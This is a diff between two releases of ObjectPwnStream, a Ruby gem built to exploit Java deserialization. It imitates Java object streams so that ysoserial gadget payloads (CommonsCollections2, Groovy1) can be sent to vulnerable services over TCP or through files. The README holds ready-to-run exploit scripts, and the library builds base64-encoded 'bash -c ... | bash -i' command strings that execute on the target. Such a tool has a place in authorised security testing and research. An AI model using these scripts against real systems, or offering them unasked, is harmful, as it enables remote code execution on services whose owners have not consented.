ObjectPwnStream 0.1.0 → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: b905811964d789180cbff26100f1b58c98d1988c6f087eba194d7d16ddcc235c
4
- data.tar.gz: 225bc15214b8c5f87fb4af9b3798b727d6d2c75874f74d49499255c63cb0d587
3
+ metadata.gz: a347144ffdcd286655765d02b35f820cf238e5adcd51dac5c99d7b45bbfe27ad
4
+ data.tar.gz: 99087fbd42c52cacb190587658855f4969264cf97d2b41fe28dd5ab144b5ff30
5
5
  SHA512:
6
- metadata.gz: 75441eb2eef3c5e70153b983982fa4d00df0e4889b66bbccd332f0a18928c94bf3c944b7ac5ad5eb4e98ae185b44a33665c25926b0437dee2711436e65486daa
7
- data.tar.gz: a3e607e834726bb96a97966a7755029447246b80dfae18ff0417c24db6752cc677190d497408ace2f484bd5c13f077b121fe9eab865aab16b61ad972cd1bfce3
6
+ metadata.gz: cd6baf49d561329eabc2df8f38313bc88ebcf44c9b4d9b6e6a62e9c4e02fa63c9b28ea6c5fae9dffa91a940b6f77156ac57eabd4e14b69d157b77da869e12f47
7
+ data.tar.gz: 69f5c87cd8c25297861418a2ae7d98d8dcfd6f68ab28d228e1452221107111f9b03c4beee5bb4ee16a61c98384b94a15d32584b72990984c5f5ddf6a933454c1
@@ -1,37 +1,39 @@
1
- # coding: utf-8
2
- require_relative 'lib/ObjectPwnStream'
3
- lib = File.expand_path("../lib", __FILE__)
4
- $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
5
-
6
-
7
- Gem::Specification.new do |spec|
8
- spec.name = "ObjectPwnStream"
9
- spec.version = ObjectPwnStream::VERSION
10
- spec.authors = "hakivvi"
11
- spec.email = "hakivvi@gmail.com"
12
-
13
- spec.summary = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
14
- spec.description = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation on custom TCP based network protocols.}
15
- spec.homepage = "https://github.com/hakivvi/ObjectPwnStream"
16
- spec.license = "MIT"
17
-
18
- # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
19
- # to allow pushing to a single host or delete this section to allow pushing to any host.
20
- # if spec.respond_to?(:metadata)
21
- # spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
22
- # else
23
- # raise "RubyGems 2.0 or newer is required to protect against " \
24
- # "public gem pushes."
25
- # end
26
-
27
- spec.files = `git ls-files -z`.split("\x0").reject do |f|
28
- f.match(%r{^(test|spec|features)/})
29
- end
30
- spec.bindir = "exe"
31
- spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
32
- spec.require_paths = ["lib"]
33
-
34
- spec.add_development_dependency "bundler"
35
- spec.add_development_dependency "rake", "~> 10.0"
36
- spec.add_development_dependency "rspec", "~> 3.0"
37
- end
1
+ # coding: utf-8
2
+ require_relative 'lib/ObjectPwnStream'
3
+ lib = File.expand_path("../lib", __FILE__)
4
+ $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
5
+
6
+
7
+ Gem::Specification.new do |spec|
8
+ spec.name = "ObjectPwnStream"
9
+ spec.version = ObjectPwnStream::VERSION
10
+ spec.authors = "hakivvi"
11
+ spec.email = "hakivvi@gmail.com"
12
+
13
+ spec.summary = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
14
+ spec.description = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation.}
15
+ spec.homepage = "https://github.com/hakivvi/ObjectPwnStream"
16
+ spec.license = "MIT"
17
+
18
+ spec.required_ruby_version = '>= 3.0.0'
19
+
20
+ # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
21
+ # to allow pushing to a single host or delete this section to allow pushing to any host.
22
+ # if spec.respond_to?(:metadata)
23
+ # spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
24
+ # else
25
+ # raise "RubyGems 2.0 or newer is required to protect against " \
26
+ # "public gem pushes."
27
+ # end
28
+
29
+ spec.files = `git ls-files -z`.split("\x0").reject do |f|
30
+ f.match(%r{^(test|spec|features)/})
31
+ end
32
+ spec.bindir = "exe"
33
+ spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
34
+ spec.require_paths = ["lib"]
35
+
36
+ spec.add_development_dependency "bundler"
37
+ spec.add_development_dependency "rake", ">= 12.3.3"
38
+ spec.add_development_dependency "rspec", "~> 3.0"
39
+ end
data/README.md CHANGED
@@ -1,7 +1,10 @@
1
- <<<<<<< HEAD
2
1
  # ObjectPwnStream
3
2
 
4
- a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation on custom TCP based network protocols.
3
+ a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation.
4
+
5
+ the library is currently able to deliver the serialized payloads to TCP connections (`tcpSocket.getInputStream()`) and files (`FileInputStream()`).
6
+ ## Requirements
7
+ - Ruby v3.0.0 or newer
5
8
 
6
9
  ## Installation
7
10
 
@@ -24,12 +27,13 @@ Or install it from main branch:
24
27
  $ git clone https://github.com/hakivvi/ObjectPwnStream
25
28
  $ cd ObjectPwnStream
26
29
  $ bundle install && bundle exec rake install
30
+
27
31
  ## Usage
28
32
  the library provides a set of methods to mimic the methods of both `ObjectInputStream` and `ObjectOutputStream`,
29
33
 
30
- the `readObject()` method is not always the first function run on a TCP socket, so you can't just feed the server with your serialized payload or else `java.io.StreamCorruptedException` will be thrown by the server.
34
+ the `readObject()` method is not always the first function run on a `Socket` or a `FileInputStream`, so you can't just feed the server with your serialized payload or else `java.io.StreamCorruptedException` will be thrown by the server.
31
35
 
32
- take this toy server for example, which does read and write a bunch of types before actually calling `readObject()` which the attacker is usually interested in:
36
+ take this [test server](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/ToyServer.java) for example, which does read and write a bunch of types before actually calling `readObject()` which the attacker is usually interested in:
33
37
  ```java
34
38
  s = serverSock.accept();
35
39
  System.out.println("[+] Connection accepted from " + s.getInetAddress().getHostAddress() + ":" + s.getPort());
@@ -77,26 +81,49 @@ using `ObjectPwnStream` library, we can do just that:
77
81
  ```ruby
78
82
  require 'ObjectPwnStream'
79
83
 
80
- pwnStream = ObjectPwnStream::PwnStream.new("127.0.0.1", 9090)
84
+ pwnStream = ObjectPwnStream::PwnStream.new(host: "127.0.0.1", port: 9090)
81
85
  pwnStream.connect!
82
86
  pwnStream.open_streams!
83
87
  pwnStream.read_int
84
- pwnStream.write_int 0x1337
88
+ pwnStream.write_int(0x1337)
85
89
  pwnStream.read_utf
86
90
  pwnStream.write_utf "ObjectPwnStream"
87
91
  pwnStream.read_short
88
- pwnStream.write_short 0xabcd
89
- pwnStream.read_long signed=true
90
- pwnStream.write_long -12345
92
+ pwnStream.write_short(0xabcd)
93
+ pwnStream.read_long(signed: true)
94
+ pwnStream.write_long(-12345)
91
95
  pwnStream.read_object
92
- pwnStream.ysoserial_generate!("./ysoserial.jar", "CommonsCollections2", "gnome-calculator", encode: true, windows: false)
96
+ pwnStream.ysoserial_generate!("./ysoserial.jar","CommonsCollections2", "gnome-calculator", encode: true, windows: false)
93
97
  pwnStream.write_object(ysoserial: true)
94
98
  ```
95
- ## Development
99
+ or as a [`FileInputStream`](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/ToyServerFileMode.java):
100
+ ```java
101
+ ObjectInputStream fis = new ObjectInputStream(new FileInputStream("/tmp/to_deserialize_file"));
96
102
 
97
- After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
103
+ System.out.printf("got a long from the file: %d\n", fis.readLong());
104
+ try {
105
+ fis.readObject();
106
+ } catch(Throwable e){}
107
+ System.out.println("readObject(): done.");
108
+ ```
109
+ to successfully reach `readObject()`, we should provide a valid `long` type first, the [script](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/test_file_mode.rb) will be:
110
+ ```ruby
111
+ require 'ObjectPwnStream'
112
+
113
+ pwnStream = ObjectPwnStream::PwnStream.new(file_path: "/tmp/to_deserialize_file")
114
+ pwnStream.connect!
115
+ pwnStream.open_output_stream!
116
+ pwnStream.write_long(12345)
117
+ pwnStream.ysoserial_generate!("../ysoserial.jar", "Groovy1", "gnome-calculator", encode: true, windows: false)
118
+ pwnStream.write_object(ysoserial: true)
119
+ pwnStream.close!
120
+ ```
121
+ ## PoC
122
+
123
+ find a test vulnerable Java server and a Ruby ObjectPwnStream exploit in the [test](https://github.com/hakivvi/ObjectPwnStream/tree/main/spec/test) directory.
124
+
125
+ ![poc](https://user-images.githubusercontent.com/67718634/170808392-1ce8efff-b8c6-4372-8d7a-b20b4fbeadc9.gif)
98
126
 
99
- To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
100
127
 
101
128
  ## Contributing
102
129
 
@@ -108,12 +135,9 @@ The gem is available as open source under the terms of the [MIT License](http://
108
135
 
109
136
  ## Code of Conduct
110
137
 
111
- Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/ObjectPwnStream/blob/master/CODE_OF_CONDUCT.md).
138
+ Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://opensource.guide/code-of-conduct/).
112
139
 
113
140
  ## Todo
114
141
 
115
- - document all the functions.
116
- - support CLI mode.
117
- =======
118
- # ObjectPwnStream
119
- >>>>>>> 722378df4eaf6880483a7235cdda15036bd64adb
142
+ - [ ] document all the functions.
143
+ - [ ] support CLI mode.
@@ -9,7 +9,7 @@ module ObjectPwnStream
9
9
  end
10
10
 
11
11
  class PayloadStreamHeaderError < StandardError
12
- def message()="the provided serialized payload has an invalid stream header."
12
+ def message()="the signed: false serialized payload has an invalid stream header."
13
13
  end
14
14
 
15
15
  class YsoserialGenerateError < StandardError
@@ -10,17 +10,17 @@ module ObjectPwnStream
10
10
  check_stream_header(read_stream_header)
11
11
  end
12
12
 
13
- def read_int(signed=false)
13
+ def read_int(signed: false)
14
14
  _, length = read_block_header
15
15
  template = (signed ? "l>" : "L>")
16
- @socket.read(length).unpack(template)[0]
16
+ @instream.read(length).unpack(template)[0]
17
17
  # to_signed(hex.to_i(16))
18
18
  end
19
19
 
20
- def read_short(signed=false)
20
+ def read_short(signed: false)
21
21
  _, length = read_block_header
22
22
  template = (signed ? "s>" : "S>")
23
- @socket.read(length).unpack(template)[0]
23
+ @instream.read(length).unpack(template)[0]
24
24
  end
25
25
 
26
26
  def read_char
@@ -29,75 +29,79 @@ module ObjectPwnStream
29
29
 
30
30
  def read_chars
31
31
  _, length = read_block_header
32
- @socket.read(length).unpack("S>*").pack("U*")
32
+ @instream.read(length).unpack("S>*").pack("U*")
33
33
  end
34
34
 
35
35
  def read_byte
36
36
  read_block_header
37
- @socket.getbyte
37
+ @instream.getbyte
38
38
  end
39
39
 
40
40
  def read_bytes
41
41
  _, length = read_block_header
42
- @socket.read(length).unpack("C*")
42
+ @instream.read(length).unpack("C*")
43
43
  end
44
44
 
45
45
  def read_utf
46
46
  _, block_length = read_block_header
47
- length = @socket.read(2).unpack("S>")[0]
48
- @socket.read(length).unpack("U*").pack("U*")
47
+ length = @instream.read(2).unpack("S>")[0]
48
+ @instream.read(length).unpack("U*").pack("U*")
49
49
  end
50
50
 
51
51
  def read_boolean
52
52
  read_block_header
53
- bool = @socket.getbyte
53
+ bool = @instream.getbyte
54
54
  bool != 0
55
55
  end
56
56
 
57
57
  def handle_reset
58
- check_stream_reset(@socket.getbyte)
58
+ check_stream_reset(@instream.getbyte)
59
59
  end
60
60
 
61
61
  def read_float
62
62
  _, length = read_block_header
63
- @socket.read(length).unpack("g")[0]
63
+ @instream.read(length).unpack("g")[0]
64
64
  end
65
65
 
66
66
  def read_double
67
67
  _, length = read_block_header
68
- @socket.read(length).unpack("G")[0]
68
+ @instream.read(length).unpack("G")[0]
69
69
  end
70
70
 
71
- def read_long(signed=false)
71
+ def read_long(signed: false)
72
72
  _, length = read_block_header
73
73
  template = signed ? "q>" : "Q>"
74
- @socket.read(length).unpack(template)[0]
74
+ @instream.read(length).unpack(template)[0]
75
75
  end
76
76
 
77
77
  def read_object
78
- bytes = [@socket.getbyte]
79
- while @socket.ready?
80
- bytes << @socket.getbyte
78
+ unless @file_mode
79
+ bytes = [@instream.getbyte]
80
+ while @instream.ready?
81
+ bytes << @instream.getbyte
82
+ end
83
+ else
84
+ bytes = @instream.each_byte.to_a
81
85
  end
82
86
  bytes.pack("C*")
83
87
  end
84
88
 
85
89
  private
86
90
  def read_stream_header
87
- @socket.read(4).unpack("S>S>")
91
+ @instream.read(4).unpack("S>S>")
88
92
  end
89
93
 
90
94
  def read_block_header
91
- block = @socket.getbyte
95
+ block = @instream.getbyte
92
96
  if block.eql?(Constants::TC_BLOCKDATA)
93
- length = @socket.getbyte
97
+ length = @instream.getbyte
94
98
  elsif block.eql?(Constants::TC_BLOCKDATALONG)
95
- length = @socket.read(4).unpack("I>")[0]
99
+ length = @instream.read(4).unpack("I>")[0]
96
100
  end
97
101
  [block, length]
98
102
  end
99
103
 
100
- def check_stream_header(header, provided=nil)
104
+ def check_stream_header(header, provided: nil)
101
105
  unless header.first.eql?(Constants::STREAM_MAGIC) && header.last.eql?(Constants::STREAM_VERSION)
102
106
  raise provided.nil? ? Errors::StreamHeaderError : !provided ? Errors::YsoserialPayloadCorruptedError : Errors::PayloadStreamHeaderError
103
107
  end
@@ -10,21 +10,21 @@ module ObjectPwnStream
10
10
  write_stream_header(*[Constants::STREAM_MAGIC, Constants::STREAM_VERSION])
11
11
  end
12
12
 
13
- def write_int(v, signed=false)
13
+ def write_int(v, signed: false)
14
14
  length = 4
15
15
  write_block_header(Constants::TC_BLOCKDATA, length)
16
16
  template = (signed ? "l>" : "L>")
17
- @socket.write([v].pack(template))
18
- @socket.flush
17
+ @outstream.write([v].pack(template))
18
+ @outstream.flush
19
19
  end
20
20
 
21
- def write_short(v, signed=false)
21
+ def write_short(v, signed: false)
22
22
  v &= 0xFFFF
23
23
  length = 2
24
24
  write_block_header(Constants::TC_BLOCKDATA, length)
25
25
  template = (signed ? "s>" : "S>")
26
- @socket.write([v].pack(template))
27
- @socket.flush
26
+ @outstream.write([v].pack(template))
27
+ @outstream.flush
28
28
  end
29
29
 
30
30
  def write_char(char)
@@ -35,86 +35,86 @@ module ObjectPwnStream
35
35
  conv = Encoding::Converter.new("utf-8", "utf-16")
36
36
  data = conv.convert(str)
37
37
  write_block_header(Constants::TC_BLOCKDATA, data.bytesize)
38
- @socket.write(data)
39
- @socket.flush
38
+ @outstream.write(data)
39
+ @outstream.flush
40
40
  end
41
41
 
42
42
  def write_byte(byte)
43
43
  write_block_header(Constants::TC_BLOCKDATA, 0x1)
44
- @socket.putc(byte)
45
- @socket.flush
44
+ @outstream.putc(byte)
45
+ @outstream.flush
46
46
  end
47
47
 
48
48
  def write_bytes(bytes)
49
49
  write_block_header(Constants::TC_BLOCKDATA, bytes.size)
50
- bytes.each {@socket.putc(_1)}
51
- @socket.flush
50
+ bytes.each {@outstream.putc(_1)}
51
+ @outstream.flush
52
52
  end
53
53
 
54
54
  def write_utf(str)
55
55
  utf_size = str.bytesize
56
56
  write_block_header(Constants::TC_BLOCKDATA, utf_size+2)
57
- @socket.write([utf_size].pack("S>"))
58
- @socket.write(str)
59
- @socket.flush
57
+ @outstream.write([utf_size].pack("S>"))
58
+ @outstream.write(str)
59
+ @outstream.flush
60
60
 
61
61
  end
62
62
 
63
63
  def write_boolean(bool)
64
64
  write_block_header(Constants::TC_BLOCKDATA, 1)
65
- @socket.putc(bool ? 0x1 : 0x0)
66
- @socket.flush
65
+ @outstream.putc(bool ? 0x1 : 0x0)
66
+ @outstream.flush
67
67
  end
68
68
 
69
69
  def write_float(float)
70
70
  write_block_header(Constants::TC_BLOCKDATA, 4)
71
- @socket.write([float].pack("g"))
72
- @socket.flush
71
+ @outstream.write([float].pack("g"))
72
+ @outstream.flush
73
73
  end
74
74
 
75
75
  def write_double(double)
76
76
  write_block_header(Constants::TC_BLOCKDATA, 8)
77
- @socket.write([double].pack("G"))
78
- @socket.flush
77
+ @outstream.write([double].pack("G"))
78
+ @outstream.flush
79
79
  end
80
80
 
81
- def write_long(long, signed=false)
81
+ def write_long(long, signed: false)
82
82
  write_block_header(Constants::TC_BLOCKDATA, 8)
83
83
  template = signed ? "q>" : "Q>"
84
- @socket.write([long].pack(template))
85
- @socket.flush
84
+ @outstream.write([long].pack(template))
85
+ @outstream.flush
86
86
  end
87
87
 
88
88
  def reset!
89
- @socket.putc(Constants::TC_RESET)
90
- @socket.flush
89
+ @outstream.putc(Constants::TC_RESET)
90
+ @outstream.flush
91
91
  end
92
92
 
93
93
  def write_object(payload_path: nil, payload: nil, ysoserial: false)
94
94
  if ysoserial
95
- @socket.write(@payload)
96
- @socket.flush
95
+ @outstream.write(@payload)
96
+ @outstream.flush
97
97
  elsif payload
98
98
  ObjectInputStream.check_stream_header(payload[...4].unpack("S>*"), provided: true)
99
- @socket.write(payload[4..])
100
- @socket.flush
99
+ @outstream.write(payload[4..])
100
+ @outstream.flush
101
101
  elsif payload_path
102
102
  pf = File.open(payload_path, "rb")
103
103
  ObjectInputStream.check_stream_header(pf.read(4).unpack("S>*"), provided: true)
104
- @socket.write(pf.read(pf.size-4))
105
- @socket.flush
104
+ @outstream.write(pf.read(pf.size-4))
105
+ @outstream.flush
106
106
  end
107
107
  end
108
108
 
109
109
  private
110
110
  def write_stream_header(block, version)
111
- @socket.write([block, version].pack("S>S>"))
112
- @socket.flush
113
- end
111
+ @outstream.write([block, version].pack("S>S>"))
112
+ @outstream.flush
113
+ end
114
114
 
115
115
  def write_block_header(block, length)
116
- @socket.write([block, length].pack("CC"))
117
- @socket.flush
116
+ @outstream.write([block, length].pack("CC"))
117
+ @outstream.flush
118
118
  end
119
119
  end
120
120
  end
@@ -9,35 +9,53 @@ module ObjectPwnStream
9
9
  @host = nil
10
10
  @port = nil
11
11
  @socket = nil
12
+ @file_path, @file_mode = nil
13
+ @instream, @outstream = nil
12
14
  @payload = nil
13
15
 
14
16
  include ObjectOutputStream
15
17
  include ObjectInputStream
16
- attr_reader :socket
17
- def initialize(host, port, connect=false)
18
- @host = host
19
- @port = port.to_i
20
- connect! if connect
18
+ attr_reader :instream, :outstream
19
+ def initialize(host: nil, port: nil, file_path: nil, connect: false)
20
+ if file_path.nil?
21
+ @host = host
22
+ @port = port.to_i
23
+ connect! if connect
24
+ else
25
+ @file_mode = true
26
+ @file_path = file_path
27
+ connect! if connect
28
+ end
21
29
  end
22
30
 
23
31
  def connect!
24
- @socket ||= TCPSocket.open(@host, @port)
32
+ unless @file_mode
33
+ @socket ||= TCPSocket.open(@host, @port)
34
+ @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
35
+ @socket.sync = true
36
+ @instream = @outstream = @socket
37
+ else
38
+ @outstream ||= File.open(@file_path, 'wb')
39
+ @instream ||= File.open(@file_path, 'rb')
40
+ @outstream.sync = true
41
+ end
25
42
  end
26
43
 
27
44
  def close!
28
- @socket.flush
29
- @socket.close
30
- @socket = nil
45
+ @outstream.flush
46
+ @outstream.close
47
+ @instream.close
48
+ @socket, @file_path, @instream, @outstream, @file_mode = nil
31
49
  end
32
50
 
33
51
  def ysoserial_generate!(ysoserial_path, gadget, cmd, java_path: nil, encode: false, windows: false)
34
- cmd = Utils.exec_encode(cmd, windows) if encode
52
+ cmd = Utils.exec_encode(cmd, windows: windows) if encode
35
53
  ycmd = "#{java_path && '"'}#{java_path || 'java'}#{java_path && '"'} -jar \"#{ysoserial_path}\" #{gadget} \"#{cmd}\""
36
54
  stdout = Open3.capture3(ycmd, :binmode => true)[0]
37
55
  if stdout.empty?
38
56
  raise Errors::YsoserialGenerateError.new(ycmd)
39
57
  else
40
- ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided=false)
58
+ ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided: false)
41
59
  @payload = stdout[4..]
42
60
  end
43
61
  end
@@ -45,9 +63,8 @@ module ObjectPwnStream
45
63
  alias_method :open_input_stream!, :open_input_stream
46
64
  alias_method :open_output_stream!, :open_output_stream
47
65
  def open_streams!
48
- @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
49
- open_input_stream
50
66
  open_output_stream
67
+ open_input_stream
51
68
  end
52
69
  end
53
70
  end
@@ -9,7 +9,7 @@ module ObjectPwnStream
9
9
  (int>=mid) ? int - max_unsigned : int
10
10
  end
11
11
 
12
- def exec_encode(cmd, windows=false)
12
+ def exec_encode(cmd, windows: false)
13
13
  !windows ?
14
14
  "bash -c {echo,#{[cmd].pack('m0')}}|{base64,-d}|{bash,-i}"
15
15
  :
@@ -1,5 +1,5 @@
1
- require_relative 'ObjectPwnStream/PwnStream'
2
-
3
- module ObjectPwnStream
4
- VERSION = "0.1.0"
1
+ require_relative 'ObjectPwnStream/PwnStream'
2
+
3
+ module ObjectPwnStream
4
+ VERSION = "0.2.1"
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: ObjectPwnStream
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.0
4
+ version: 0.2.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - hakivvi
@@ -28,16 +28,16 @@ dependencies:
28
28
  name: rake
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
- - - "~>"
31
+ - - ">="
32
32
  - !ruby/object:Gem::Version
33
- version: '10.0'
33
+ version: 12.3.3
34
34
  type: :development
35
35
  prerelease: false
36
36
  version_requirements: !ruby/object:Gem::Requirement
37
37
  requirements:
38
- - - "~>"
38
+ - - ">="
39
39
  - !ruby/object:Gem::Version
40
- version: '10.0'
40
+ version: 12.3.3
41
41
  - !ruby/object:Gem::Dependency
42
42
  name: rspec
43
43
  requirement: !ruby/object:Gem::Requirement
@@ -53,8 +53,7 @@ dependencies:
53
53
  - !ruby/object:Gem::Version
54
54
  version: '3.0'
55
55
  description: a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream,
56
- to ease the process of Java deserialization exploitation on custom TCP based network
57
- protocols.
56
+ to ease the process of Java deserialization exploitation.
58
57
  email: hakivvi@gmail.com
59
58
  executables: []
60
59
  extensions: []
@@ -89,7 +88,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
89
88
  requirements:
90
89
  - - ">="
91
90
  - !ruby/object:Gem::Version
92
- version: '0'
91
+ version: 3.0.0
93
92
  required_rubygems_version: !ruby/object:Gem::Requirement
94
93
  requirements:
95
94
  - - ">="